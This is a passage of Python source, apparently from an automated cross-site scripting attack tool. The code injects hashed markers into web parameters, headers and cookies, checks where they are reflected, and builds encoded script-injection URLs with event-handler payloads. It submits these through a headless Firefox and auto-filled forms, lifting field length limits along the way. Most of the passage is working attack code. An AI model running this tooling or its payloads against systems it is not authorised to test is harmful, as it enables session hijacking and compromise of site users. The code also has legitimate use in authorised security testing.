  1303. self.add_failure(dest_url, heuristic_param, value, query_string, orig_url, 'heuristic') # heuristic fail
  1304. elif self.options.hash:
  1305. for key, value in self.final_hashes.items():
  1306. if str(key) in dest_url:
  1307. if key in curl_handle.body():
  1308. self.add_success(dest_url, key, value, query_string, orig_url, 'hashing check') # success!
  1309. else:
  1310. self.add_failure(dest_url, key, value, query_string, orig_url, 'hashing check') # hashing_check fail
  1311. else:
  1312. for key, value in self.final_hashes.items():
  1313. if key in current_hashes:
  1314. if "XSA" in value:
  1315. method = "XSA"
  1316. hashing = key
  1317. elif "XSR" in value:
  1318. method = "XSR"
  1319. hashing = key
  1320. elif "COO" in value:
  1321. method = "COO"
  1322. hashing = key
  1323. else:
  1324. method = value
  1325. hashing = key
  1326. if not hashing:
  1327. pass
  1328. else:
  1329. if hashing not in dest_url:
  1330. if key in current_hashes:
  1331. if payload["browser"] == "[Data Control Protocol Injection]": # [DCP Injection]
  1332. b64_string = payload["payload"].split("[B64]")
  1333. b64_string = b64_string[1]
  1334. b64_string = b64_string.replace('PAYLOAD', key)
  1335. b64_string = b64encode(b64_string)
  1336. b64_string = urllib.parse.urlencode({'':b64_string})
  1337. if b64_string.startswith("="):
  1338. b64_string = b64_string.replace("=", "")
  1339. if str(b64_string) in str(dest_url):
  1340. self.check_hash_on_target(hashing, dest_url, orig_url, payload, query_string, method, curl_handle)
  1341. else:
  1342. self.check_hash_on_target(hashing, dest_url, orig_url, payload, query_string, method, curl_handle)
  1343. else:
  1344. self.check_hash_on_target(hashing, dest_url, orig_url, payload, query_string, method, curl_handle)
  1345. self.report("")
  1346. def check_hash_on_target(self, hashing, dest_url, orig_url, payload, query_string, method, curl_handle):
  1347. options = self.options
  1348. c_info = str(curl_handle.info())
  1349. c_body = str(curl_handle.body())
  1350. if payload["browser"] == "[Data Control Protocol Injection]": # [DCP Injection]
  1351. b64_string = payload["payload"].split("[B64]")
  1352. b64_string = b64_string[1]
  1353. b64_string = b64_string.replace('PAYLOAD', hashing)
  1354. b64_string = b64encode(b64_string)
  1355. if b64_string.startswith("="):
  1356. b64_string = b64_string.replace("=", "")
  1357. hashing = b64_string
  1358. if payload['browser'] == "[Document Object Model Injection]":
  1359. self.check_hash_using_dom(dest_url, payload, hashing, query_string, orig_url, method) # check hash using internal headless browser engine
  1360. else:
  1361. if str(hashing) in c_body and "http-code: 200" in c_info: # [XSS CHECKPOINT: anti-false positives]
  1362. self.check_false_positives(hashing, c_body, dest_url, payload, query_string, orig_url, method)
  1363. else:
  1364. self.add_failure(dest_url, payload, hashing, query_string, orig_url, method) # failed!
  1365. def check_hash_using_dom(self, dest_url, payload, hashing, query_string, orig_url, method):
  1366. if self.cookie_set_flag == False:
  1367. self.generate_headless_cookies(orig_url)
  1368. self.cookie_set_flag = True # cookie has been set!
  1369. try:
  1370. self.driver.get(dest_url) # GET
  1371. src = self.driver.page_source
  1372. except self.dom_browser_alert as alert_text: # handled with UnexpectedAlertPresentException
  1373. if (hashing in str(alert_text)): # [XSS DOM CHECKPOINT: alert() dialog open!]
  1374. self.add_success(dest_url, payload, hashing, query_string, orig_url, method) # success!
  1375. self.token_arrived_hashes.append(hashing) # add token/hashing for counting
  1376. else:
  1377. self.add_failure(dest_url, payload, hashing, query_string, orig_url, method) # failed!
  1378. else:
  1379. self.add_failure(dest_url, payload, hashing, query_string, orig_url, method) # failed!
  1380. def check_false_positives(self, hashing, c_body, dest_url, payload, query_string, orig_url, method): # some anti false positives checkers
  1381. if str(self.options.discode) in c_body: # provided by user
  1382. self.report("[Info] Reply contains code [ --discode ] provided to be discarded -> [DISCARDING!]\n")
  1383. self.add_failure(dest_url, payload, hashing, query_string, orig_url, method) # failed!
  1384. else:
  1385. if str('&gt;' + hashing) in c_body or str('href=' + dest_url + hashing) in c_body or str('content=' + dest_url + hashing) in c_body:
  1386. self.report("[Info] Reply looks like a 'false positive' -> [DISCARDING!]\n")
  1387. self.add_failure(dest_url, payload, hashing, query_string, orig_url, method) # failed!
  1388. elif str(hashing+",") in c_body or str(hashing+'","') in c_body:
  1389. self.report("[Info] Reply looks like a 'false positive' -> [DISCARDING!]\n")
  1390. self.add_failure(dest_url, payload, hashing, query_string, orig_url, method) # failed!
  1391. else:
  1392. if self.options.discode:
  1393. self.report("[Info] Reply does NOT contain code [ --discode ] provided to be discarded -> [ADDING!] ;-)\n")
  1394. self.add_success(dest_url, payload, hashing, query_string, orig_url, method) # success!
  1395. def add_failure(self, dest_url, payload, hashing, query_string, orig_url, method='url'):
  1396. """
  1397. Add an attack that failed to inject
  1398. """
  1399. if method == "heuristic":
  1400. self.report(" [NOT FOUND] -> [ " + str(payload) + " ] : [ " + str(hashing)+ " ]")
  1401. self.hash_notfound.append((dest_url, "[Heuristic test]", method, hashing, query_string, payload, orig_url))
  1402. elif method == "hashing check":
  1403. self.report(" [NOT FOUND] -> [ " + str(hashing) + " ] : [ hashing_check ]")
  1404. self.hash_notfound.append((dest_url, "[hashing check]", method, hashing, query_string, payload, orig_url))
  1405. else:
  1406. self.report(" [NOT FOUND] -> [ " + hashing + " ] : [ " + method + " ]")
  1407. self.hash_notfound.append((dest_url, payload['browser'], method, hashing, query_string, payload, orig_url))
  1408. def add_success(self, dest_url, payload, hashing, query_string, orig_url, method='url'):
  1409. """
  1410. Add an attack that have managed to inject code
  1411. """
  1412. if method == "heuristic":
  1413. self.report(" [FOUND !!!] -> [ " + str(payload) + " ] : [ " + str(hashing)+ " ]")
  1414. self.hash_found.append((dest_url, "[Heuristic test]", method, hashing, query_string, payload, orig_url))
  1415. elif method == "hashing check":
  1416. self.report(" [FOUND !!!] -> [ " + str(payload) + " ] : [ " + str(hashing)+ " ]")
  1417. self.hash_found.append((dest_url, "[hashing check]", method, hashing, query_string, payload, orig_url))
  1418. else:
  1419. payload_sub = payload['payload']
  1420. self.report(" [FOUND !!!] -> [ " + hashing + " ] : [ " + method + " ]")
  1421. self.hash_found.append((dest_url, payload['browser'], method, hashing, query_string, payload, orig_url))
  1422. for reporter in self._reporters:
  1423. reporter.add_success(dest_url)
  1424. if self.options.reversecheck:
  1425. if self.options.dcp or self.options.inducedcode or self.options.dom:
  1426. pass
  1427. else:
  1428. self.do_token_check(orig_url, hashing, payload, query_string, dest_url)
  1429. def create_headless_embed_browser(self):
  1430. agents = [] # user-agents
  1431. self.cookie_set_flag = False # used for cookie
  1432. f = open("core/fuzzing/user-agents.txt").readlines() # set path for user-agents
  1433. for line in f:
  1434. agents.append(line)
  1435. try:
  1436. agent = random.choice(agents).strip() # set random user-agent
  1437. except:
  1438. agent = "Privoxy/1.0" # set static user-agent
  1439. try: # selenium + firefox + gecko(bin)
  1440. from selenium import webdriver
  1441. from selenium.webdriver.firefox.options import Options as FirefoxOptions
  1442. from selenium.common.exceptions import UnexpectedAlertPresentException as UnexpectedAlertPresentException # used for search alert dialogs at DOM
  1443. self.dom_browser_alert = UnexpectedAlertPresentException
  1444. profile = webdriver.FirefoxProfile()
  1445. profile.set_preference("general.useragent.override", str(agent)) # set Firefox (profile) - random user-agent
  1446. profile.set_preference('browser.safebrowsing.enabled', True)
  1447. profile.set_preference('toolkit.telemetry.enabled', False)
  1448. profile.set_preference('webdriver_accept_untrusted_certs', True)
  1449. profile.set_preference('security.insecure_field_warning.contextual.enabled', False)
  1450. profile.set_preference('security.insecure_password.ui.enabled', False)
  1451. profile.set_preference('extensions.logging.enabled', False)
  1452. options = FirefoxOptions()
  1453. options.add_argument("-headless") # set Firefox (options) - headless mode
  1454. options.add_argument("-no-remote")
  1455. options.add_argument("-no-first-run")
  1456. options.add_argument("-app")
  1457. options.add_argument("-safe-mode")
  1458. current_dir = os.getcwd()
  1459. driver = webdriver.Firefox(options=options, firefox_profile=profile, executable_path=current_dir+"/core/driver/geckodriver", log_path=os.devnull) # wrapping!
  1460. except:
  1461. driver = None
  1462. self.token_arrived_flag = False
  1463. if DEBUG == True:
  1464. traceback.print_exc()
  1465. return driver
  1466. def generate_GET_token_payload(self, orig_url, dest_url, query_string, hashing, payload, vector_found):
  1467. if "VECTOR" in orig_url:
  1468. dest_url = orig_url
  1469. else:
  1470. if not dest_url.endswith("/"):
  1471. dest_url = dest_url + "/"
  1472. dest_url = orig_url + query_string
  1473. dest_url = dest_url.split("#")[0]
  1474. p_uri = urlparse(dest_url)
  1475. uri = p_uri.netloc
  1476. path = p_uri.path
  1477. target_params = parse_qs(urlparse(dest_url).query, keep_blank_values=False)
  1478. for key, value in target_params.items():
  1479. if key == vector_found: # only replace parameters with valid hashes
  1480. target_params[key] = payload['payload']
  1481. else:
  1482. target_params[key] = target_params[key][0]
  1483. target_url_params = urllib.parse.urlencode(target_params)
  1484. dest_url = p_uri.scheme + "://" + uri + path + "?" + target_url_params
  1485. dest_url = urllib.parse.unquote(dest_url)
  1486. tok_url = self.generate_token_exploit(hashing, dest_url, payload)
  1487. return tok_url
  1488. def generate_POST_token_payload(self, orig_url, dest_url, query_string, hashing, payload, vector_found):
  1489. if vector_found in dest_url:
  1490. v = dest_url.split(vector_found+"=")[1]
  1491. p = v.split("&")[0]
  1492. dest_url = dest_url.replace(p, payload['payload'])
  1493. dest_url = urllib.parse.unquote(dest_url)
  1494. tok_url = self.generate_token_exploit(hashing, dest_url, payload)
  1495. return tok_url
  1496. def generate_token_exploit(self, hashing, dest_url, payload):
  1497. self_url = "http://localhost:19084/success/" + hashing
  1498. shadow_js_inj = "document.location=document.location.hash.substring(1)"
  1499. shadow_inj = "<SCrIpT>" + shadow_js_inj + "</ScRiPt>"
  1500. _e = self.encoding_permutations
  1501. if self.options.script: # manual injections
  1502. if 'XSS' in dest_url:
  1503. dest_url = dest_url.replace('XSS', hashing)
  1504. elif 'XS1' in dest_url:
  1505. dest_url = dest_url.replace('XS1', hashing)
  1506. if "'>" in dest_url:
  1507. dest_url = dest_url.split("'>")[0]
  1508. tok_url = dest_url + _e("'>" + shadow_inj)
  1509. tok_url += '#' + self_url
  1510. elif '">' in dest_url:
  1511. dest_url = dest_url.split('">')[0]
  1512. tok_url = dest_url + _e('">' + shadow_inj)
  1513. tok_url += '#' + self_url
  1514. elif 'onerror=' in dest_url:
  1515. dest_url = dest_url.split('onerror=')[0]
  1516. tok_url = dest_url + _e('onerror=' + shadow_js_inj + ">")
  1517. tok_url+= '#' + self_url
  1518. elif 'onError=' in dest_url:
  1519. dest_url = dest_url.split('onError=')[0]
  1520. tok_url = dest_url + _e('onError=' + shadow_js_inj + ">")
  1521. tok_url+= '#' + self_url
  1522. elif 'onload=' in dest_url:
  1523. dest_url = dest_url.split('onload=')[0]
  1524. tok_url = dest_url + _e('onload=' + shadow_js_inj + ">")
  1525. tok_url+= '#' + self_url
  1526. elif 'onLoad=' in dest_url:
  1527. dest_url = dest_url.split('onLoad=')[0]
  1528. tok_url = dest_url + _e('onLoad=' + shadow_js_inj + ">")
  1529. tok_url+= '#' + self_url
  1530. else:
  1531. tok_url = dest_url + "#" + self_url
  1532. else: # default + auto injections
  1533. if 'VECTOR' in dest_url:
  1534. dest_url = dest_url.replace('VECTOR', payload['payload'])
  1535. if '">PAYLOAD' in dest_url:
  1536. tok_url = dest_url.replace('">PAYLOAD', _e('">' + shadow_inj))
  1537. tok_url += '#' + self_url
  1538. elif "'>PAYLOAD" in dest_url:
  1539. tok_url = dest_url.replace("'>PAYLOAD", _e("'>" + shadow_inj))
  1540. tok_url += '#' + self_url
  1541. elif "javascript:PAYLOAD" in dest_url:
  1542. tok_url = dest_url.replace('javascript:PAYLOAD', self.encoding_permutations("window.location='" + self_url+"';"))
  1543. tok_url = dest_url.replace("javascript:PAYLOAD", _e("javascript:" + shadow_js_inj))
  1544. tok_url+= '#' + self_url
  1545. elif '"PAYLOAD"' in dest_url:
  1546. tok_url = dest_url.replace('"PAYLOAD"', '"' + self_url + '"')
  1547. elif "'PAYLOAD'" in dest_url:
  1548. tok_url = dest_url.replace("'PAYLOAD'", "'" + self_url + "'")
  1549. elif 'PAYLOAD' in dest_url and 'SRC' in dest_url:
  1550. tok_url = dest_url.replace('PAYLOAD', self_url)
  1551. elif "SCRIPT" in dest_url:
  1552. tok_url = dest_url.replace('PAYLOAD', shadow_js_inj)
  1553. tok_url += '#' + self_url
  1554. elif 'onerror="PAYLOAD"' in dest_url:
  1555. tok_url = dest_url.replace('onerror="PAYLOAD"', _e('onerror="' + shadow_inj + '"'))
  1556. tok_url+= '#' + self_url
  1557. elif 'onerror="javascript:PAYLOAD"' in dest_url:
  1558. tok_url = dest_url.replace('javascript:PAYLOAD', self.encoding_permutations("window.location='" + self_url+"';"))
  1559. tok_url = dest_url.replace('onerror="javascript:PAYLOAD"', _e('onerror="javascript:' + shadow_js_inj + '"'))
  1560. tok_url+= '#' + self_url
  1561. elif 'onError="PAYLOAD"' in dest_url:
  1562. tok_url = dest_url.replace('onError="PAYLOAD"', _e('onError="' + shadow_inj + '"'))
  1563. tok_url+= '#' + self_url
  1564. elif 'onError="javascript:PAYLOAD"' in dest_url:
  1565. tok_url = dest_url.replace('javascript:PAYLOAD', self.encoding_permutations("window.location='" + self_url+"';"))
  1566. tok_url = dest_url.replace('onError="javascript:PAYLOAD"', _e('onError="javascript:' + shadow_js_inj + '"'))
  1567. tok_url+= '#' + self_url
  1568. elif 'onload="PAYLOAD"' in dest_url:
  1569. tok_url = dest_url.replace('onload="PAYLOAD"', _e('onload="' + shadow_inj + '"'))
  1570. tok_url+= '#' + self_url
  1571. elif 'onload="javascript:PAYLOAD"' in dest_url:
  1572. tok_url = dest_url.replace('javascript:PAYLOAD', self.encoding_permutations("window.location='" + self_url+"';"))
  1573. tok_url = dest_url.replace('onload="javascript:PAYLOAD"', _e('onload="javascript:' + shadow_js_inj + '"'))
  1574. tok_url+= '#' + self_url
  1575. elif 'onLoad="PAYLOAD"' in dest_url:
  1576. tok_url = dest_url.replace('onLoad="PAYLOAD"', _e('onLoad="' + shadow_inj + '"'))
  1577. tok_url+= '#' + self_url
  1578. elif 'onLoad="javascript:PAYLOAD"' in dest_url:
  1579. tok_url = dest_url.replace('javascript:PAYLOAD', self.encoding_permutations("window.location='" + self_url+"';"))
  1580. tok_url = dest_url.replace('onLoad="javascript:PAYLOAD"', _e('onLoad="javascript:' + shadow_js_inj + '"'))
  1581. tok_url+= '#' + self_url
  1582. elif '<PAYLOAD>' in dest_url:
  1583. tok_url = dest_url.replace("<PAYLOAD>", _e(shadow_inj))
  1584. tok_url+= '#' + self_url
  1585. elif 'PAYLOAD' in dest_url:
  1586. tok_url = dest_url.replace("PAYLOAD", _e(shadow_inj))
  1587. tok_url+= '#' + self_url
  1588. elif 'href' in dest_url and 'PAYLOAD' in dest_url:
  1589. tok_url = dest_url.replace('PAYLOAD', self_url)
  1590. elif 'HREF' in dest_url and 'PAYLOAD' in dest_url:
  1591. tok_url = dest_url.replace('PAYLOAD', self_url)
  1592. elif 'url' in dest_url and 'PAYLOAD' in dest_url:
  1593. tok_url = dest_url.replace('PAYLOAD', self_url)
  1594. else:
  1595. tok_url = dest_url + "#" + self_url
  1596. return tok_url
  1597. def do_token_check(self, orig_url, hashing, payload, query_string, dest_url): # searching for a [100% VULNERABLE] XSS exploit!
  1598. tok_url = None
  1599. tok_total = []
  1600. if self.hash_found:
  1601. for l in self.hash_found:
  1602. vector_found = l[2]
  1603. hash_found = l[3]
  1604. if hashing in hash_found:
  1605. if not self.options.postdata: # GET
  1606. tok_url = self.generate_GET_token_payload(orig_url, dest_url, query_string, hashing, payload, vector_found)
  1607. else: # POST
  1608. tok_url = self.generate_POST_token_payload(orig_url, dest_url, query_string, hashing, payload, vector_found)
  1609. if tok_url:
  1610. self.send_token_exploit(orig_url, tok_url, hashing, vector_found)
  1611. def generate_headless_cookies(self, orig_url): # generate cookies for internal headless browser engine
  1612. self.driver.get(orig_url)
  1613. r_cookies = self.driver.get_cookies() # get cookies
  1614. if self.options.cookie:
  1615. cookie = SimpleCookie()
  1616. cookie.load(self.options.cookie)
  1617. for key, morsel in cookie.items():
  1618. for c in r_cookies:
  1619. if key == c["name"]:
  1620. c["value"] = str(morsel.value)
  1621. for c in r_cookies:
  1622. self.driver.add_cookie(c) # add cookies to driver
  1623. def send_token_exploit(self, orig_url, tok_url, hashing, vector_found):
  1624. try:
  1625. if self.cookie_set_flag == False:
  1626. if not self.options.postdata: # GET
  1627. self.generate_headless_cookies(tok_url) # send 'tok_url'
  1628. else: # POST
  1629. self.generate_headless_cookies(orig_url) # send 'orig_url'
  1630. self.cookie_set_flag = True # cookie has been set!
  1631. if self.options.postdata: # GET + web forms scrapping + POST
  1632. self.driver.get(orig_url) # GET request to store forms
  1633. tok_parsed = parse_qs(tok_url)
  1634. param_found = []
  1635. for param_parsed in tok_parsed: # find params
  1636. param = self.driver.find_element_by_name(param_parsed) # by name
  1637. if not param:
  1638. param = self.driver.find_element_by_id(param_parsed) # by id
  1639. if param:
  1640. value = str(tok_parsed[param_parsed])
  1641. if "#http://localhost:19084/success/"+str(hashing) in value: # re-parsing injected params for POST
  1642. value = value.replace("#http://localhost:19084/success/"+str(hashing), "")
  1643. if "<script>document.location=document.location.hash.substring(1)</script>" in value:
  1644. value = value.replace("<script>document.location=document.location.hash.substring(1)", "<script src='http://localhost:19084/success/"+str(hashing)+"'>")
  1645. if "['" in value:
  1646. value = value.replace("['", "")
  1647. if "']" in value:
  1648. value = value.replace("']", "")
  1649. param.send_keys(str(value))
  1650. param_found.append(param)
  1651. max_length = param.get_attribute("maxlength")
  1652. if max_length: # bypass max length filters by changing DOM | black magic!
  1653. self.driver.execute_script("arguments[0].setAttribute('maxlength', arguments[1])", param, '9999999')
  1654. if len(param_found) == len(tok_parsed): # form fully filled!
  1655. login = self.driver.find_element_by_xpath("//*[@type='submit']") # find submit by type
  1656. login.click() # click it!
  1657. else: # GET
  1658. self.driver.get(tok_url)
  1659. if tok_url not in self.final_attacks:
  1660. self.final_attacks[hashing] = {'url': tok_url}
  1661. self.token_arrived_flag = True
  1662. else:
  1663. self.token_arrived_flag = False
  1664. except:
  1665. self.token_arrived_flag = False
  1666. if DEBUG == True:
  1667. traceback.print_exc()
  1668. def _report_attack_failure(self, curl_handle, dest_url, payload,\
  1669. query_string, orig_url):
  1670. """
  1671. report connection failure of an attack
  1672. """
  1673. options = self.options
  1674. current_hashes = [] # to check for ongoing hashes
  1675. if payload['browser'] == "[Heuristic test]":
  1676. for key, value in self.hashed_injections.items():
  1677. if key not in current_hashes:
  1678. self.final_hashes[key] = value
  1679. current_hashes.append(key)
  1680. elif self.options.hash:
  1681. for key, value in self.hashed_injections.items():
  1682. self.final_hashes[key] = value
  1683. current_hashes.append(key)
  1684. else:
  1685. self.report("-"*45)
  1686. self.report("\n[!] Hashing: \n")
  1687. for key, value in self.hashed_injections.items():
  1688. if str(key) in str(dest_url): # GET
  1689. if key not in current_hashes:
  1690. self.report(" [ " +key+" ] : [" , value + " ]")
  1691. self.final_hashes[key] = value
  1692. current_hashes.append(key)
  1693. else:
  1694. if payload["browser"] == "[Data Control Protocol Injection]": # [DCP Injection]
  1695. b64_string = payload["payload"].split("[B64]")
  1696. b64_string = b64_string[1]
  1697. b64_string = b64_string.replace('PAYLOAD', key)
  1698. b64_string = b64encode(b64_string)
  1699. b64_string = urllib.parse.urlencode({'':b64_string})
  1700. if b64_string.startswith("="):
  1701. b64_string = b64_string.replace("=", "")
  1702. if str(b64_string) in str(dest_url):
  1703. if key not in current_hashes:
  1704. self.report(" [ " +key+" ] : [" , value + " ]")
  1705. self.final_hashes[key] = value
  1706. current_hashes.append(key)
  1707. else: # when using encoders (Str, Hex, Dec...)
  1708. payload_string = payload["payload"].replace("PAYLOAD", key)
  1709. hashed_payload = self.encoding_permutations(payload_string)
  1710. if self.options.Cem:
  1711. enc_perm = options.Cem.split(",")
  1712. for e in enc_perm:
  1713. hashed_payload = self.encoding_permutations(payload_string)
  1714. if e == "Str":
  1715. hashed_payload = hashed_payload.replace(",", "%2C")
  1716. if e == "Mix":
  1717. hashed_payload=urllib.parse.quote(hashed_payload)
  1718. if e == "Dec":
  1719. hashed_payload = hashed_payload.replace("&#", "%26%23")
  1720. if e == "Hex":
  1721. hashed_payload = hashed_payload.replace("%", "%25")
  1722. if e == "Hes":
  1723. hashed_payload = hashed_payload.replace("&#", "%26%23")
  1724. hashed_payload = hashed_payload.replace(";", "%3B")
  1725. else:
  1726. if self.options.Str:
  1727. hashed_payload = hashed_payload.replace(",", "%2C")
  1728. if self.options.Mix:
  1729. hashed_payload=urllib.parse.quote(hashed_payload)
  1730. if self.options.Dec:
  1731. hashed_payload = hashed_payload.replace("&#", "%26%23")
  1732. if self.options.Hex:
  1733. hashed_payload = hashed_payload.replace("%", "%25")
  1734. if self.options.Hes:
  1735. hashed_payload = hashed_payload.replace("&#", "%26%23")
  1736. hashed_payload = hashed_payload.replace(";", "%3B")
  1737. if str(hashed_payload) in str(dest_url):
  1738. if key not in current_hashes:
  1739. self.report(" [ " +key+" ] : [" , value + " ]")
  1740. self.final_hashes[key] = value
  1741. current_hashes.append(key)
  1742. if self.extra_hashed_injections:
  1743. for k, v in self.extra_hashed_injections.items():
  1744. payload_url = str(v[1])
  1745. if payload_url == payload["payload"]:
  1746. if k not in current_hashes:
  1747. self.report(" [ " +k+" ] : [" , v[0] + " ]")
  1748. self.final_hashes[k] = v[0]
  1749. current_hashes.append(k)
  1750. self.report("\n"+"-"*45+"\n")
  1751. if payload['browser'] == "[Heuristic test]":
  1752. self.report("[+] Checking: " + str(payload['payload']).strip('XSS'), "\n")
  1753. else:
  1754. if self.extra_hashed_injections:
  1755. extra_attacks=[]
  1756. if options.xsa:
  1757. extra_attacks.append("XSA")
  1758. if options.xsr:
  1759. extra_attacks.append("XSR")
  1760. if options.coo:
  1761. extra_attacks.append("COO")
  1762. if extra_attacks:
  1763. extra_attacks = "+ "+ str(extra_attacks)
  1764. if options.postdata:
  1765. self.report("[*] Trying: " + extra_attacks + "\n\n" + orig_url.strip(), "(POST:", query_string + ") \n")
  1766. else:
  1767. self.report("[*] Trying: " + extra_attacks + "\n\n" + dest_url.strip()+"\n")
  1768. else:
  1769. if options.postdata:
  1770. self.report("[*] Trying: \n\n" + orig_url.strip(), "(POST:", query_string + ")\n")
  1771. else:
  1772. self.report("[*] Trying: \n\n" + dest_url.strip()+"\n")
  1773. if not self.options.hash and not self.options.script:
  1774. if not "XSS" in dest_url or not "X1S" in dest_url and self.options.xsa or self.options.xsr or self.options.coo:
  1775. pass
  1776. else:
  1777. self.report("-"*45)
  1778. if payload['browser'] == "[Heuristic test]" or payload['browser'] == "[hashed_precheck_system]" or payload['browser'] == "[manual_injection]":
  1779. pass
  1780. else:
  1781. if not "XSS" in dest_url or not "X1S" in dest_url:
  1782. if self.options.xsa or self.options.xsr or self.options.coo:
  1783. pass
  1784. else:
  1785. self.report("-"*45)
  1786. self.report("\n[+] Vulnerable(s): \n\n " + payload['browser'] + "\n")
  1787. if not self.options.verbose:
  1788. self.report("-"*45 + "\n")
  1789. else:
  1790. self.report("-"*45)
  1791. self.report("\n[+] Vulnerable(s): \n\n " + payload['browser'] + "\n")
  1792. if not self.options.verbose:
  1793. self.report("-"*45 + "\n")
  1794. # statistics injections counters
  1795. if payload['browser']=="[hashed_precheck_system]" or payload['browser']=="[Heuristic test]":
  1796. self.check_positives = self.check_positives + 1
  1797. elif payload['browser']=="[Data Control Protocol Injection]":
  1798. self.dcp_injection = self.dcp_injection + 1
  1799. elif payload['browser']=="[Document Object Model Injection]":
  1800. self.dom_injection = self.dom_injection + 1
  1801. elif payload['browser']=="[Induced Injection]":
  1802. self.httpsr_injection = self.httpsr_injection + 1
  1803. elif payload['browser']=="[manual_injection]":
  1804. self.manual_injection = self.manual_injection + 1
  1805. else:
  1806. self.auto_injection = self.auto_injection +1
  1807. if not self.hashed_injections:
  1808. for k, v in self.extra_hashed_injections.items():
  1809. if k in current_hashes:
  1810. if v[0] == "XSA":
  1811. agent = v[1]
  1812. agent = agent.replace("PAYLOAD", k)
  1813. Curl.agent = agent
  1814. if v[0] == "XSR":
  1815. referer = v[1]
  1816. referer = referer.replace("PAYLOAD", k)
  1817. Curl.referer = referer
  1818. if v[0] == "COO":
  1819. cookie = v[1]
  1820. cookie = cookie.replace("PAYLOAD", k)
  1821. Curl.cookie = cookie
  1822. else:
  1823. for key, value in self.hashed_injections.items():
  1824. for k, v in self.extra_hashed_injections.items():
  1825. payload_url = v[1]
  1826. payload_url = payload_url.replace("PAYLOAD",key)
  1827. payload_url = payload_url.replace(" ", "+") # black magic!
  1828. final_dest_url = str(urllib.parse.unquote(dest_url.strip()))
  1829. if payload_url in final_dest_url:
  1830. if v[0] == "XSA":
  1831. agent = v[1]
  1832. agent = agent.replace("PAYLOAD", k)
  1833. Curl.agent = agent
  1834. if v[0] == "XSR":
  1835. referer = v[1]
  1836. referer = referer.replace("PAYLOAD", k)
  1837. Curl.referer = referer
  1838. if v[0] == "COO":
  1839. cookie = v[1]
  1840. cookie = cookie.replace("PAYLOAD", k)
  1841. Curl.cookie = cookie
  1842. else:
  1843. if k in current_hashes:
  1844. if v[0] == "XSA":
  1845. agent = v[1]
  1846. agent = agent.replace("PAYLOAD", k)
  1847. Curl.agent = agent
  1848. if v[0] == "XSR":
  1849. referer = v[1]
  1850. referer = referer.replace("PAYLOAD", k)
  1851. Curl.referer = referer
  1852. if v[0] == "COO":
  1853. cookie = v[1]
  1854. cookie = cookie.replace("PAYLOAD", k)
  1855. Curl.cookie = cookie
  1856. if options.verbose:
  1857. self.report("-"*45)
  1858. self.report("\n[+] HTTP Headers Verbose:\n")
  1859. self.report(" [Client Request]")
  1860. Curl.print_options()
  1861. self.report(" [Server Reply]\n")
  1862. self.report(curl_handle.info())
  1863. self.report("="*45)
  1864. self.report("[*] Injection(s) Results:")
  1865. self.report("="*45 + "\n")
  1866. if payload['browser']=="[Heuristic test]":
  1867. for key, value in self.final_hashes.items():
  1868. if str(key) in dest_url:
  1869. heuristic_string = key
  1870. heuristic_param = str(payload['payload']).strip('XSS')
  1871. if heuristic_param == "\\":
  1872. self.heuris_backslash_notfound = self.heuris_backslash_notfound + 1
  1873. elif heuristic_param == "/":
  1874. self.heuris_slash_notfound = self.heuris_slash_notfound + 1
  1875. elif heuristic_param == ">":
  1876. self.heuris_mayor_notfound = self.heuris_mayor_notfound + 1
  1877. elif heuristic_param == "<":
  1878. self.heuris_minor_notfound = self.heuris_minor_notfound + 1
  1879. elif heuristic_param == ";":
  1880. self.heuris_semicolon_notfound = self.heuris_semicolon_notfound + 1
  1881. elif heuristic_param == "'":
  1882. self.heuris_colon_notfound = self.heuris_colon_notfound + 1
  1883. elif heuristic_param == '"':
  1884. self.heuris_doublecolon_notfound = self.heuris_doublecolon_notfound + 1
  1885. elif heuristic_param == "=":
  1886. self.heuris_equal_notfound = self.heuris_equal_notfound + 1
  1887. self.add_failure(dest_url, heuristic_param, value, query_string, orig_url, 'heuristic') # heuristic fail
  1888. elif self.options.hash:
  1889. for key, value in self.final_hashes.items():
  1890. self.add_failure(dest_url, key, value, query_string, orig_url, 'hashing check') # hashing_check fail
  1891. self.report("\n" +"="*45)
  1892. else:
  1893. for key, value in self.final_hashes.items():
  1894. if "XSA" in value:
  1895. method = "xsa"
  1896. hashing = key
  1897. elif "XSR" in value:
  1898. method = "xsr"
  1899. hashing = key
  1900. elif "COO" in value:
  1901. method = "coo"
  1902. hashing = key
  1903. else:
  1904. method = "url"
  1905. hashing = key
  1906. if self.options.Str:
  1907. payload_string = payload["payload"].replace("PAYLOAD", key)
  1908. hashed_payload = self.encoding_permutations(payload_string)
  1909. hashed_payload = hashed_payload.replace(",", "%2C")
  1910. if str(hashed_payload) in str(dest_url):
  1911. self.add_failure(dest_url, payload, key, query_string, orig_url, value) # failed!
  1912. elif self.options.Mix:
  1913. payload_string = payload["payload"].replace("PAYLOAD", key)
  1914. hashed_payload = self.encoding_permutations(payload_string)
  1915. hashed_payload=urllib.parse.quote(hashed_payload)
  1916. if str(hashed_payload) in str(dest_url):
  1917. self.add_failure(dest_url, payload, key, query_string, orig_url, value) # failed!
  1918. elif self.options.Dec:
  1919. payload_string = payload["payload"].replace("PAYLOAD", key)
  1920. hashed_payload = self.encoding_permutations(payload_string)
  1921. hashed_payload = hashed_payload.replace("&#", "%26%23")
  1922. if str(hashed_payload) in str(dest_url):
  1923. self.add_failure(dest_url, payload, key, query_string, orig_url, value) # failed!
  1924. elif self.options.Hex:
  1925. payload_string = payload["payload"].replace("PAYLOAD", key)
  1926. hashed_payload = self.encoding_permutations(payload_string)
  1927. hashed_payload = hashed_payload.replace("%", "%25")
  1928. if str(hashed_payload) in str(dest_url):
  1929. self.add_failure(dest_url, payload, key, query_string, orig_url, value) # failed!
  1930. elif self.options.Hes:
  1931. payload_string = payload["payload"].replace("PAYLOAD", key)
  1932. hashed_payload = self.encoding_permutations(payload_string)
  1933. hashed_payload = hashed_payload.replace("&#", "%26%23")
  1934. hashed_payload = hashed_payload.replace(";", "%3B")
  1935. if str(hashed_payload) in str(dest_url):
  1936. self.add_failure(dest_url, payload, key, query_string, orig_url, value) # failed!
  1937. else:
  1938. if self.options.Cem:
  1939. enc_perm = options.Cem.split(",")
  1940. payload_string = payload["payload"].replace("PAYLOAD", key)
  1941. for e in enc_perm:
  1942. hashed_payload = self.encoding_permutations(payload_string)
  1943. if str(e) == "Str":
  1944. hashed_payload = hashed_payload.replace(",", "%2C")
  1945. if e == "Mix":
  1946. hashed_payload=urllib.parse.quote(hashed_payload)
  1947. if e == "Dec":
  1948. hashed_payload = hashed_payload.replace("&#", "%26%23")
  1949. if e == "Hex":
  1950. hashed_payload = hashed_payload.replace("%", "%25")
  1951. if e == "Hes":
